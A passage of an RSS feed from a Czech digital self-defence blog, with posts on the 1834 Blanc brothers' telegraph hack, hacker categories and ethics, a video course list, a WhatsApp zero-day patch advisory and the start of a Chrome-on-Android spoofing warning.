<h2>François and Louis Blanc</h2>
<p>The Blanc brothers traded government bonds on the Bordeaux stock exchange. In such trading, speed of information is crucial &#8211; whoever has faster news from a central point of action (in this case Paris) has an advantage over other traders because they can better anticipate stock market movements.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1689" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a> Traditionally, news from Paris to Bordeaux was sent by stagecoach, which took five days. Some merchants tried to shorten this time by using carrier pigeons or hiring messengers. This was faster, but not significantly so. It was certainly not enough for the Blanc brothers. They knew there was a much faster way to communicate over long distances. But it was reserved for the army, and merchants could not use it. So most merchants continued to think about improving the aerodynamics of the pigeon. But the Blanc brothers were hackers (though they didn&#8217;t claim to be on Twitter, according to available sources). So they didn&#8217;t give up on the idea of using Chappe&#8217;s telegraph network.</p>
<h2>The Plan</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1692" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>The telegraph operators were probably not the best-paid employees in France. So the solution might be good old-fashioned corruption.<br />
But if the Blanc brothers wanted to send messages in the standard way, they would have to bribe all the operators on their way from Paris to Bordeaux. Which could get expensive.<br />
So they had to figure out how to solve this expensive inconvenience.<br />
As mentioned above, the system included a symbol to erase the last character &#8211; the operator writes down the characters as he sees them on the semaphore and if he sees the erase symbol, he simply erases the last character and moves on.<br />
This is what the hackers decided to take advantage of. They will send secret messages by following &#8220;their&#8221; character embedded in a regular army message with an erase character. Anyone who sees the semaphore can see this character, but the terminal tower operator will erase it from the paper (or not write it at all). Thus the message will be passed on while leaving no written evidence of it.</p>
<h2>Socks as a data carrier</h2>
<p>There was one more problem to solve. On the way from Paris to Bordeaux, there was still a tower in Tours (about 200 km from Paris) where messages were decoded and forwarded on without error. So the messages had to be sent from here. And they must have gotten to Tours somehow unobtrusively.<br />
Fortunately, there was no need to send some extensive novels (that wouldn&#8217;t even be possible in this scenario), just a few arranged signals. And so parcels were sent to Tours from Paris containing clothes. The type of clothing (gloves, socks, ties) that was marked in the accompanying letter indicated whether a title was falling or rising in the stock market, and the color in turn the amount of change.</p>
<h2>Hack</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1697" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>The hacking may have begun. An accomplice in Paris, according to the changes in the stock market, put the clothes in a package and sent it to Tours. There, the bribed telegraph operator (he received a one-off 1500 francs for his involvement in the conspiracy, then 150 francs every month, plus a bonus of 20 francs for each message transmitted) sent a message with &#8220;errors&#8221; inserted.<br />
At the tower near Bordeaux, another accomplice waited with a telescope, watching the telegraph and writing down the characters that were marked as erroneous. And thus the messages reached our merchants, who were several days ahead of the others.</p>
<h2>Disclosure</h2>
<p>The system worked perfectly for two years. A total of 121 messages (and packages of clothes) were sent this way. Surprisingly, the sudden wealth of the telegraph operators (the normal daily wage of an operator was 1.50 francs) did not arouse suspicion.<br />
The truth only came out when one of the operators fell ill and confided the whole matter to a friend before his death.<br />
Surprisingly, the Blanc brothers suffered no consequences. French legislation simply did not prohibit the insertion of one&#8217;s own messages into the telegraph system. It didn&#8217;t occur to the legislators of the time.<br />
And so they were later to become successful casino operators (including the Monte Carlo casino in Monaco).</p>
<p>As can be seen from the first documented hacking attack, the weakest link in security tends to be human.</p>
<h3>Resources:</h3>
<p><a href="https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe">https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe</a><br />
<a href="https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc">https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc</a><br />
<a href="https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html">https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html</a><br />
<a href="https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item">https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item</a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/">On the Origin of Hackers</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hackers &#8211; who are we defending ourselves against?</title>
		<link>https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 15 Jul 2021 11:41:01 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[black hat]]></category>
		<category><![CDATA[grey hat]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[lockpicking]]></category>
		<category><![CDATA[white hat]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1659</guid>

					<description><![CDATA[<p>Hacking and hackers are shrouded in many myths, perhaps most notably by film production and journalists who need to engage their readers and viewers.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/">Hackers &#8211; who are we defending ourselves against?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hacking and hackers are shrouded in many myths, perhaps most notably by film production and journalists who need to engage their readers and viewers. But very little of what we see in the media corresponds to reality.<span id="more-1659"></span></p>
<h2>So who are the dreaded hackers, can I identify them and what do they have in common?</h2>
<p>Hackers come from different backgrounds, different parts of the world and different social classes. You can&#8217;t generally say that the typical hacker is a twenty-five-year-old white guy, addicted to caffeine from energy drinks, who doesn&#8217;t get along with his peers and spends all his free time in a dark basement surrounded by computers.<br />
What most hackers have in common, however, is the ability to use things in ways other than how they were intended and to circumvent obstacles. Whether it&#8217;s physical, technological or psychological.<br />
In the beginning, it&#8217;s curiosity. How the world around us works, how different tools work and how the human mind works. And if the object of interest has any weaknesses in its design that can be exploited or abused (this is often a rather subjective assessment).</p>
<h2>Opening the lock</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1665" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg" alt="" width="225" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-225x300.jpg 225w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-600x800.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking-500x666.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/lockpicking.jpg 640w" sizes="auto, (max-width: 225px) 100vw, 225px" /></a>When you want to open a classic lock, it&#8217;s a good idea to know how its mechanism works first. Then you can use the tools and techniques to open it without a key. Or you can simply use explosives. While this can be fancy, it has a few minor drawbacks. Someone may notice and have strange questions like if the door is yours, why you don&#8217;t unlock it normally, and where you got the untaxed explosive. Sometimes it can also be handy so that the owner of the lock doesn&#8217;t even find out in the future that it was unlocked (it&#8217;s pretty hard to lock after using explosives). Well, and it can also happen that the explosion will destroy what is behind the lock and what you are doing it for in the first place. Not to mention that if handled carelessly, it can radically reduce the number of your favorite limbs.<br />
That&#8217;s why it&#8217;s quite handy to know that there&#8217;s a mechanism in the lock that can be opened fairly quickly, quietly, and without further consequence. Therefore, hackers are usually very familiar with the systems they are attacking. As we will show later, this does not mean that the hacker has to be a computer genius. There is room for hackers in almost every field.<br />
After all, hacking isn&#8217;t just getting into places we shouldn&#8217;t. It can also be the ability to use things differently. For example, the recently popular biohacking is not about sneaking into (preferably) your own body and taking something there. Rather, we&#8217;re trying to improve the processes that happen there.<br />
I&#8217;ll stick to describing hacking in the most familiar IT sector, but basically anything can be applied elsewhere in some way.</p>
<h2>Hackers, fashion and the state</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png"><img loading="lazy" decoding="async" class="-size-medium wp-image-1660 alignright" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png" alt="Western" width="300" height="231" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat-300x231.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/blackhatwhitehat.png 436w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Because the world needs pigeonholes, hackers have also started to divide themselves into groups: black hat, white hat and grey hat. This designation was taken from Hollywood Westerns of the 1920s, where there was an unwritten convention that heroes wore white hats and villains wore black hats. At least that&#8217;s what Wikipedia says.</p>
<p><strong>Black hat</strong> hackers are the equivalent of the negative heroes of the wild west. They use their knowledge to enrich themselves or harm their victims. A black hat hacker will break into your bank account and take your money, install a webcam tracking program on your computer or crash your company&#8217;s website.</p>
<p>A special subset of black hat hackers are state-organized hackers. These are usually employees or contractors of the secret services or military who are tasked with cyber attacks on targets outside the territory of the state. Compared to independent hackers, they have a big advantage in that they have access to the best technology or other resources and can thus afford attacks that are unavailable to others. But this topic deserves its own article. So more about that some other time.</p>
<p><strong>A white hat</strong> hacker will also hack into your company&#8217;s website. But there is one significant difference. He will only do it with your permission. That&#8217;s why they&#8217;re also called ethical hackers. Why would you give your consent? Precisely because you want to know if your business is secure against such an attack. If a white hat hacker succeeds in such a penetration, he will do you no harm. On the contrary, you&#8217;ll get a precise description from him of what needs to be fixed so that no one else can get in. And you pay him for it. That&#8217;s called penetration testing. White hat hackers often set up companies to help their customers improve the security of their systems.</p>
<p><strong>Grey Hat hacker</strong> &#8211; often claimed to be something in between. But rarely do you learn what it means to be something in between. Can someone be just a little bit of a thief? It&#8217;s more likely that the line between white hat and black hat is blurry. A hacker may pose as a white hat, but there is a suspicion that he is also using his knowledge and skill unethically. Alternatively, he attacks companies, organisations or even states without their consent or knowledge, but he is motivated (sometimes subjectively) by good reasons. He may be an environmental activist, a human rights campaigner or even a religious fanatic.</p>
<h2>Legal versus ethical</h2>
<p>At the same time, we need to distinguish between legality and ethics. Laws are different in different parts of the world. Here in Europe, for example, there are different rules almost every 500km. What is legal in Prague may be criminal in Vienna. And because the Internet has no borders, it makes it even more complicated for judging. In countries like North Korea, for example, any use of a computer is illegal in most cases. Therefore, it is not possible to judge hackers according to local national law. Especially at a time when nation states are starting to lose their meaning.</p>
<h2>Blind shooters and non-state armies</h2>
<p>There is another group. They are not hackers in the true sense of the word. More like wannabe hackers. They&#8217;re known as &#8220;Script kiddies&#8221;. Today, there are a large number of hacking tools on the Internet that are freely downloadable. And it can be tempting to look like a hacker in front of your buddy. It&#8217;s not difficult to download a program, press the imaginary &#8220;Hack it!&#8221; button. But the attacker usually gets nothing. Because even with these tools, you need to work with purpose and precision. On the other hand, even if he doesn&#8217;t gain anything, he can still do some damage (corrupt the database, delete important files, overwhelm the network, etc.). Therefore, it is important to protect systems even against such amateur attacks.</p>
<p>In the cyber world we can also find non-state organised hacking groups. They are actually small armies of hackers who have a common goal and try to achieve it by joining forces. However, this does not necessarily mean that these groups meet in secret places and carry out their attacks (ethical or unethical) from there. The individual members often do not know each other personally. They may be scattered all over the world, operating under aliases, and all they need to know about each other is their abilities. This ensures, among other things, their physical safety. If a member of the group is discovered, they can&#8217;t reveal anything important about their colleagues.</p>
<h2>I want to become a hacker</h2>
<p>A common question is how one can become a hacker. The answer is not simple and certainly not universal. Hacking is about learning and deepening your knowledge every day. Basically, anyone who is an expert in their field and has the desire to keep improving and delving into every detail can become a hacker. There isn&#8217;t even a clear line where we can say that we (or anyone else) is a hacker. While there are various courses and certifications, even that is not a prerequisite. A certificate doesn&#8217;t necessarily make you a hacker if you don&#8217;t keep doing it, and on the other hand, the lack of one (it costs time and money) doesn&#8217;t mean you&#8217;re not a hacker.</p>
<h2>Well then, how do I open the lock?</h2>
<p>It&#8217;s not hard and after practicing it can go fairly quickly. But this is just a basic technique, it&#8217;s more or less a sport (yes, there are competitions). Professional thieves hardly use it.</p>
<p>See the video for instructions, and <a href="https://www.digitalni-sebeobrana.cz/en/osobni-konzultace/">I&#8217;ll tell you how to defend your digital locks</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-zj8w-pbnolq" style="max-width:1400px;" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:350/197" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.285714%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-zj8w-pbnolq" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="788" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/zj8W-PbnOlQ?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="1400"></iframe>
								</div>
</p></div>
<p>												<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/hackeri-proti-komu-se-branime\/#arve-youtube-zj8w-pbnolq","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/zj8W-PbnOlQ?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>							</div>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/">Hackers &#8211; who are we defending ourselves against?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Videosérie Digitální Sebeobrany</title>
		<link>https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Mon, 15 Mar 2021 13:29:57 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Rychlé novinky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[kurz]]></category>
		<category><![CDATA[sebeobrana]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1564</guid>

					<description><![CDATA[<p>Série videí o soukromí a bezpečnosti v digitálním prostoru. Video sérii naleznete na tomto odkazu Jednotlivé díly: Password123! Obrněný účty Zámky, šifry, zálohy Jak funguje šifrování Messengery Phishing 1⧸2 Phishing 2⧸2 VPN Tor a I2P Kryptoměny &#8211; Seed Kryptoměny anonymně Antiviry</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/">Videosérie Digitální Sebeobrany</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Série videí o soukromí a bezpečnosti v digitálním prostoru.<span id="more-1564"></span></p>
<p>Video sérii naleznete na tomto <a href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranakryptoanarchievpraxidXHLJGO1k0I6VnF3ReVg:a?lid=36799b62a6f3b5017e9972ef38b46ce615825b80" rel="noopener" target="_blank">odkazu</a></p>
<p><strong>Jednotlivé díly:</strong></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Password123! by Video content from Paralelni Polis Prague 1 month ago, 21:36" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranapassword123tRV4KkIS6rMzaMLns0eY:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Password123!" class="truncated-text" style="-webkit-line-clamp: 2;"> Password123!</span></div>
<p></a></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Obrněný účty by Video content from Paralelni Polis Prague 1 month ago, 23:34" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranaobrnntys80bsTO8OePkR2sRZUmO:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Obrněný účty" class="truncated-text" style="-webkit-line-clamp: 2;"> Obrněný účty</span></div>
<p></a></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Zámky, šifry, zálohy by Video content from Paralelni Polis Prague 1 month ago, 25:27" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranazmkyifryzlohyf4wgFwiDBWqZmFvXy8LZ:3?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Zámky, šifry, zálohy" class="truncated-text" style="-webkit-line-clamp: 2;"> Zámky, šifry, zálohy</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Jak funguje šifrování by Video content from Paralelni Polis Prague 1 month ago, 34:11" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranajakfungujeifrovnfiKxRu3ZPTXA1gm3gZ0D:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Jak funguje šifrování" class="truncated-text" style="-webkit-line-clamp: 2;">  Jak funguje šifrování</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Messengery by Video content from Paralelni Polis Prague 1 month ago, 29:58" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranamessengerynCoCLTLsGYUJFs5mIXjv:c?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Messengery" class="truncated-text" style="-webkit-line-clamp: 2;">  Messengery</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Phishing 1⧸2 by Video content from Paralelni Polis Prague 1 month ago, 17:36" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaphishing12VLBQosL7M2IGIordjIQj:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Phishing 1⧸2" class="truncated-text" style="-webkit-line-clamp: 2;">  Phishing 1⧸2</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Phishing 2⧸2 by Video content from Paralelni Polis Prague 1 month ago, 20:10" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaphishing22FKI7y4dACGhTRLKaowXO:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Phishing 2⧸2" class="truncated-text" style="-webkit-line-clamp: 2;">  Phishing 2⧸2</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： VPN by Video content from Paralelni Polis Prague 1 month ago, 27:32" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranavpnV9YTorZ0D2KxRYebjYyr:0?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： VPN" class="truncated-text" style="-webkit-line-clamp: 2;">  VPN</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Tor a I2P by Video content from Paralelni Polis Prague 1 month ago, 28:36" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranatorai2poZXr1opEsngUm5M6oJWy:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Tor a I2P" class="truncated-text" style="-webkit-line-clamp: 2;">  Tor a I2P</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Kryptoměny - Seed by Video content from Paralelni Polis Prague 1 month ago, 24:04" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranakryptomny-seedVXAivOINIqnUJlBVjyfm:7?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Kryptoměny - Seed" class="truncated-text" style="-webkit-line-clamp: 2;">  Kryptoměny &#8211; Seed</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Kryptoměny anonymně by Video content from Paralelni Polis Prague 1 month ago, 25:25" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranakryptomnyanonymnZlzAkfN1Fu0Px0pItL1G:5?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Kryptoměny anonymně" class="truncated-text" style="-webkit-line-clamp: 2;">  Kryptoměny anonymně</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Antiviry by Video content from Paralelni Polis Prague 1 month ago, 10:55" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaantivirylkVs9qfeFQBqWDau0RaZ:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Antiviry" class="truncated-text" style="-webkit-line-clamp: 2;">  Antiviry</span></div>
<p></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/">Videosérie Digitální Sebeobrany</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>0-day vulnerability in WhatsApp</title>
		<link>https://www.digitalnisebeobrana.cz/en/0-day-zranitelnost-ve-whatsapp/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 15 May 2019 12:49:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Rychlé novinky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[0-day]]></category>
		<category><![CDATA[šifrování]]></category>
		<category><![CDATA[Signal]]></category>
		<category><![CDATA[Whatsapp]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1478</guid>

					<description><![CDATA[<p>WhatsApp (owned by Facebook) has released an update that patches the vulnerability that allowed attackers to install malicious software. While WhatsApp is end-to-end encrypted, an attacker could access messages by infecting an end device (phone) on which messages are normally visible. In addition, an attacker did not have to rely on a faulty user step &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/0-day-zranitelnost-ve-whatsapp/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">0-day vulnerability in WhatsApp</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/0-day-zranitelnost-ve-whatsapp/">0-day vulnerability in WhatsApp</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>WhatsApp (owned by Facebook) has released an update that patches the vulnerability that allowed attackers to install malicious software.<span id="more-1478"></span></p>
<p>While WhatsApp is <a href="https://www.zaskolit.cz/en/sifrovani-zprav-demo/">end-to-end encrypted</a>, an attacker could access messages by infecting an end device (phone) on which messages are normally visible.</p>
<h4>In addition, an attacker did not have to rely on a faulty user step (such as clicking a link or opening an attachment), the software installation took place after an attacker start WhatsApp call. The user did not even have to accept the call, the malicious code already contained that call.<br />
The call record could then be erased so that the user would not normally be able to determine whether he / she had been the victim of such an attack.<br />
As mentioned above, the bug is already fixed, so it is highly recommended to upgrade to the latest version of WhatsApp.<br />
Or just go to a safer <a href="https://www.signal.org">Signal Messenger</a> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></h4>
<h4></h4>
<h4>Vulnerable Versions:</h4>
<p><strong>Android</strong>: v2.19.134 and lower, WhatsApp Bussines v2.19.44 and lower<br />
<strong>iOS</strong>: v2.19.51 and lower, WhatsApp Business v2.19.51 and lower<br />
<strong>Windows Phone</strong>: v2.18.348 and lower<br />
<strong>Tizen</strong>: v2.18.15 and lower</p>
<h4>How to update WhatsApp?</h4>
<p><strong>Android</strong>:</p>
<ul>
<li>Open Google PlayOpen the menu in the upper left menu</li>
<li>Open My Apps and Games</li>
<li>If WhatsApp was not automatically updated, the &#8220;Update&#8221; button is available. Otherwise, the update menu is missing, only the button to open is used instead.</li>
</ul>
<p><strong>iOS</strong>:</p>
<ul>
<li>Open the App Store</li>
<li>Click &#8220;Update&#8221; at the bottom of the display</li>
<li>If WhatsApp was not automatically updated, the &#8220;Update&#8221; button is available. Otherwise, the update menu is missing, only the button to open is used instead</li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/0-day-zranitelnost-ve-whatsapp/">0-day vulnerability in WhatsApp</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Be careful  with Chrome on your Android phone</title>
		<link>https://www.digitalnisebeobrana.cz/en/pozor-na-chrome-v-android-telefonu/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Mon, 06 May 2019 11:12:00 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Rychlé novinky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1469</guid>

					<description><![CDATA[<p>New type of attack uses the features of Chrome on Android phones, which hide the address bar when the user scrolls the page down. The address will reappear when you scroll the page up. An attacker can exploit this feature and force the browser to hide the original address bar and instead display its own, &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/pozor-na-chrome-v-android-telefonu/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">Be careful  with Chrome on your Android phone</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/pozor-na-chrome-v-android-telefonu/">Be careful  with Chrome on your Android phone</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
